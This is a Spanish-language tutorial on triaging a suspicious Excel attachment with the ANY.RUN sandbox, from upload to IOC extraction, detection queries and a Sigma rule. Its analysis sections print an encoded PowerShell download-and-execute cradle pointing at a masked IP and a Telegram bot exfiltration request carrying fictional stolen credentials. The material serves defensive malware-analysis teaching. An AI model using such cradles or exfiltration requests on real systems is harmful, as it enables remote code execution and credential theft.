PrincipianteANY.RUNsandboxtriajeIOC extractionSuricataMITRE ATT&CKmalware analysis

ANY.RUN: Triaje de Fichero Sospechoso a IOCs en 5 Minutos

Guía práctica para usar ANY.RUN en el triaje de ficheros sospechosos. Desde la subida de un sample hasta la extracción de IOCs en 5 minutos: proceso del análisis, árbol de procesos, tráfico de red, ficheros creados, alertas Suricata, mapeo MITRE y diferencias entre plan gratuito y de pago.

MalwareIntel Research··10 min lectura
Serie: Casos de Uso — Parte 22

El sandbox como primera línea de triaje

Un analista SOC recibe una alerta: un empleado ha descargado un fichero adjunto de un email sospechoso. El fichero se llama Invoice_Q2_2026.xlsx y el antivirus no lo ha detectado. El EDR ha marcado el endpoint pero no ha bloqueado la ejecución. Necesitas determinar en minutos si el fichero es malicioso, qué hace exactamente, y extraer IOCs para buscar otros endpoints afectados.

Este es el escenario perfecto para un sandbox interactivo como ANY.RUN: subir el fichero, observar su comportamiento en tiempo real, y obtener indicadores de compromiso accionables en menos de 5 minutos.

¿Qué es ANY.RUN?

ANY.RUN es una plataforma de análisis de malware basada en sandbox interactivo. A diferencia de sandboxes automatizados donde el fichero se ejecuta sin intervención, ANY.RUN permite:

  • Interacción en tiempo real: ver el escritorio de la VM y interactuar como un usuario (clic en botones, rellenar formularios, habilitar macros)
  • Observación del comportamiento: árbol de procesos, actividad de red, ficheros creados/modificados, cambios en el registro
  • Detección integrada: reglas Suricata para tráfico de red, YARA para ficheros, mapeo automático a MITRE ATT&CK
  • Extracción de IOCs: hashes, dominios, IPs, URLs, ficheros dropeados, todo extraído automáticamente

Planes disponibles

CaracterísticaCommunity (gratis)HunterEnterprise
AnálisisPúblicosPrivadosPrivados
Timeout máximo60 segundos660 segundos660 segundos
Sistemas operativosWindows 7/10Windows + LinuxWindows + Linux
Extracción de configNo
API accesoLimitadaCompletaCompleta
Análisis diariosLimitadosIlimitadosIlimitados
YARA customNo

Paso 1: Subir el sample

Preparación

Antes de subir el fichero:

  1. Calcular los hashes (MD5, SHA1, SHA256) del fichero localmente
  2. Verificar si ya existe un análisis previo en ANY.RUN buscando por hash
  3. Si el caso es confidencial, verificar que tienes un plan con análisis privados
# Calcular hashes localmente
$ sha256sum Invoice_Q2_2026.xlsx
7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b  Invoice_Q2_2026.xlsx

$ md5sum Invoice_Q2_2026.xlsx
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6  Invoice_Q2_2026.xlsx

Configuración del análisis

En la interfaz de ANY.RUN:

  1. Arrastra el fichero al área de subida (o pega una URL si el malware es un enlace)
  2. Selecciona el sistema operativo: Windows 10 x64 (el más representativo del entorno corporativo)
  3. Configura el timeout: al menos 120 segundos para documentos con macros (el plan gratuito limita a 60s)
  4. Opciones adicionales:
    • Fake net: simula respuestas de red para que el malware crea que tiene conectividad
    • MITM proxy: intercepta tráfico HTTPS para ver el contenido descifrado
    • Geo location: algunos malware verifican la geolocalización antes de ejecutarse

Ejecución

Al iniciar el análisis, ANY.RUN muestra el escritorio de la VM en tiempo real. Para un documento Office:

  1. Excel se abre con el fichero
  2. Aparece la barra amarilla de "Habilitar edición" y "Habilitar contenido"
  3. Como analista, hacemos clic en "Habilitar contenido" para permitir la ejecución de macros
  4. Observamos qué sucede a continuación

Paso 2: Analizar el árbol de procesos

El árbol de procesos es la vista más informativa del análisis. Muestra la cadena completa de ejecución:

excel.exe (PID 2340)
  └── cmd.exe (PID 3456)
        └── powershell.exe (PID 4567)
              └── conhost.exe (PID 4568)
              └── rundll32.exe (PID 5678)
                    └── svchost.exe (PID 6789) [INJECTED]

Interpretación

  • excel.exe abrió el documento y ejecutó la macro VBA
  • La macro lanzó cmd.exe (común para evadir detecciones que monitorizan hijos directos de Office)
  • cmd.exe ejecutó powershell.exe con un script codificado en Base64
  • PowerShell descargó y ejecutó un DLL mediante rundll32.exe
  • El DLL realizó process injection en svchost.exe (técnica T1055)

Cada nodo del árbol muestra:

  • Línea de comandos completa
  • Hashes del binario ejecutado
  • Indicadores de comportamiento sospechoso (marcados en rojo/naranja)
  • Técnicas MITRE ATT&CK mapeadas automáticamente

Decodificación del PowerShell

ANY.RUN decodifica automáticamente comandos PowerShell codificados en Base64:

# Comando original (ofuscado)
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8ANAA1AC4AWABYAi4AWABYAi4AWABYADoAOAAwADgAMAAvAHAAYQB5AGwAbwBhAGQALgBkAGwAbAAnACkA

# Decodificado por ANY.RUN
IEX (New-Object Net.WebClient).DownloadString('http://45.XX.XX.XX:8080/payload.dll')

Paso 3: Analizar el tráfico de red

Conexiones HTTP/HTTPS

ANY.RUN captura todo el tráfico de red con un proxy MITM que descifra HTTPS:

ProtocoloDestinoPuertoAcción
HTTP45.XX.XX.XX8080Descarga payload.dll
HTTPSapi.telegram.org443Envío de credenciales robadas
DNSevil-domain.xyz53Resolución del dominio C2
HTTPSevil-domain.xyz443Conexión C2 (beacon)

Alertas Suricata

ANY.RUN ejecuta reglas Suricata sobre el tráfico capturado. En nuestro ejemplo:

[**] ET MALWARE AgentTesla Exfiltration via Telegram [**]
[Classification: A Network Trojan was detected] [Priority: 1]
SRC: 10.0.2.15:49231 -> DST: 149.154.167.220:443

[**] ET TROJAN AgentTesla/OriginLogger Data Exfil via SMTP [**]
[Classification: A Network Trojan was detected] [Priority: 1]

[**] ET INFO EXE Download from Suspicious TLD [**]
[Classification: Potentially Bad Traffic] [Priority: 2]

Las alertas Suricata identifican inmediatamente la familia de malware: AgentTesla, un infostealer que exfiltra datos vía Telegram, SMTP o FTP.

Contenido de las comunicaciones

Con el proxy MITM, podemos ver el contenido de las comunicaciones HTTPS:

POST /bot123456789:AAFxx.../sendDocument HTTP/1.1
Host: api.telegram.org

------WebKitFormBoundary
Content-Disposition: form-data; name="document"; filename="PW_srv-web_admin_2026-06-05.html"
Content-Type: text/html

<html><body>
<h2>Stolen Credentials</h2>
<b>Chrome</b>: https://bank.victim.com | [email protected] | P@ssw0rd123
<b>Firefox</b>: https://vpn.victim.com | john.doe | SecretVPN!
[...]
</body></html>

El malware está exfiltrando credenciales almacenadas en los navegadores del endpoint infectado.

Paso 4: Revisar ficheros y registro

Ficheros creados/modificados

ANY.RUN lista todos los ficheros creados durante la ejecución:

FicheroAcciónDescripción
%TEMP%\payload.dllCreadoDLL del infostealer
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnkCreadoPersistencia via Startup
%APPDATA%\AgentTesla\config.datCreadoConfiguración del malware
%TEMP%\screenshots\*.jpgCreadoCapturas de pantalla del escritorio

Cambios en el registro

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  → "WindowsUpdate" = "C:\Users\admin\AppData\Roaming\svchost.exe"

HKCU\Software\AgentTesla
  → "InstallDate" = "2026-06-05"
  → "HWID" = "A1B2C3D4E5F6"

Paso 5: Extraer IOCs

ANY.RUN genera automáticamente un informe con todos los IOCs extraídos. Aquí los organizamos para acción inmediata:

Hashes

TipoValorDescripción
SHA2567a8b9c0d...Invoice_Q2_2026.xlsx (dropper)
SHA2563c4d5e6f...payload.dll (AgentTesla)
SHA2569a0b1c2d...svchost.exe (copia persistente)
MD5a1b2c3d4...payload.dll

Red

TipoValorContexto
IPv445.XX.XX.XXServidor de staging (payload download)
Dominioevil-domain.xyzC2 para beacon
Dominioapi.telegram.orgCanal de exfiltración
URLhttp://45.XX.XX.XX:8080/payload.dllURL de descarga del payload
Bot Token123456789:AAFxx...Token del bot Telegram (exfiltración)

Comportamiento

Técnica MITREIDObservable
Phishing: Spearphishing AttachmentT1566.001Documento Excel con macros
User Execution: Malicious FileT1204.002Requiere habilitar macros
Command and Scripting Interpreter: PowerShellT1059.001Descarga de payload
Process InjectionT1055Inyección en svchost.exe
Boot or Logon Autostart: Registry Run KeysT1547.001Persistencia en Run
Credentials from Password Stores: BrowsersT1555.003Robo de credenciales Chrome/Firefox
Exfiltration Over Web ServiceT1567Envío via Telegram API
Screen CaptureT1113Capturas de pantalla

Paso 6: Acciones inmediatas post-triaje

Con los IOCs extraídos en menos de 5 minutos, el analista puede:

1. Buscar en el SIEM

# Splunk
index=proxy dest_ip="45.XX.XX.XX" OR dest="evil-domain.xyz" OR url="*payload.dll*"

# Elastic
source.ip: "45.XX.XX.XX" OR dns.question.name: "evil-domain.xyz"

2. Bloquear en el firewall/proxy

# Bloquear IP del servidor de staging
iptables -I OUTPUT -d 45.XX.XX.XX -j DROP

# Bloquear dominio C2 en DNS
echo "0.0.0.0 evil-domain.xyz" >> /etc/hosts  # temporal
# O en el DNS corporativo como sinkhole

3. Buscar el hash en otros endpoints (EDR)

# CrowdStrike Falcon
Event_SimpleName=DnsRequest DomainName=evil-domain.xyz
Event_SimpleName=ProcessRollup2 SHA256HashData=3c4d5e6f...

# Microsoft Defender ATP
DeviceProcessEvents
| where SHA256 == "3c4d5e6f..."
| project Timestamp, DeviceName, FileName, FolderPath

4. Crear alerta para futuras detecciones

# Regla Sigma
title: AgentTesla Telegram Exfiltration
id: at-001
status: experimental
logsource:
    category: proxy
detection:
    selection:
        c-uri|contains: '/bot'
        c-uri|contains: '/sendDocument'
        r-dns: 'api.telegram.org'
    condition: selection
level: high
tags:
    - attack.exfiltration
    - attack.t1567

Tips para usar ANY.RUN eficazmente

1. Interactúa con el malware. Muchos samples esperan clics, input de teclado, o que pase tiempo antes de activarse. No te limites a observar pasivamente.

2. Usa el timeline. La línea temporal de ANY.RUN muestra cuándo ocurrió cada acción. Esto ayuda a entender la secuencia de ejecución y las dependencias entre etapas.

3. Descarga el PCAP. El fichero PCAP completo está disponible para descarga. Puedes analizarlo con Wireshark para un análisis de red más profundo.

4. Busca samples relacionados. Desde la página de resultados, ANY.RUN permite buscar otros análisis con los mismos IOCs (misma IP de C2, mismo hash, mismo dominio). Esto puede revelar variantes de la misma campaña.

5. Compara con la base de datos pública. Antes de subir un fichero, busca su hash en la base de datos pública de ANY.RUN. Puede que alguien ya lo haya analizado, ahorrándote tiempo y evitando alertar al atacante (si usa servicios públicos como indicador de que está siendo investigado).

6. Verifica con VirusTotal. Complementa el análisis dinámico de ANY.RUN con el análisis estático multimotor de VirusTotal. Un fichero con 0 detecciones en VirusTotal pero comportamiento malicioso en ANY.RUN es un hallazgo valioso.

7. Documenta el análisis. ANY.RUN permite generar informes PDF y JSON exportables. Guarda siempre el enlace del análisis y los IOCs en tu sistema de ticketing.

Comparativa: ANY.RUN vs otros sandboxes

CaracterísticaANY.RUNVirusTotalJoe SandboxHybrid Analysis
Interacción en tiempo realSiNoLimitadaNo
GratisPlan CommunitySiPlan CommunitySi
Detección multimotor AVNoSi (70+ AV)SiSi
Extracción de configSi (pago)ParcialSiSi
Análisis LinuxSi (pago)SiSiSi
Tiempo máximo ejecución60s/660sFijoVariableFijo
Suricata rulesSiNoSiSi
MITRE mapping automáticoSiSiSiSi
PCAP descargableSiNoSiSi

La recomendación es usar múltiples sandboxes para casos complejos: ANY.RUN para la interactividad y observación en tiempo real, VirusTotal para cobertura de detección multimotor, y CAPE para extracción avanzada de configuraciones.

Conclusión

ANY.RUN transforma el triaje de ficheros sospechosos de una tarea que podría llevar horas (montar una VM, ejecutar el sample, capturar tráfico, analizar procesos) en un proceso de 5 minutos con resultados accionables. Para un analista SOC que gestiona decenas de alertas diarias, la capacidad de determinar rápidamente si un fichero es malicioso y extraer IOCs para hunting es invaluable.

La clave es tratar el sandbox como el primer paso, no el último. Los IOCs extraídos deben alimentar búsquedas en el SIEM, reglas en el firewall, y alertas en el EDR para detectar otros endpoints potencialmente comprometidos.


Los ejemplos utilizan datos ficticios con fines educativos. Las capturas y resultados de ANY.RUN se basan en análisis de muestras públicas. Todos los indicadores se proporcionan con contexto defensivo.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.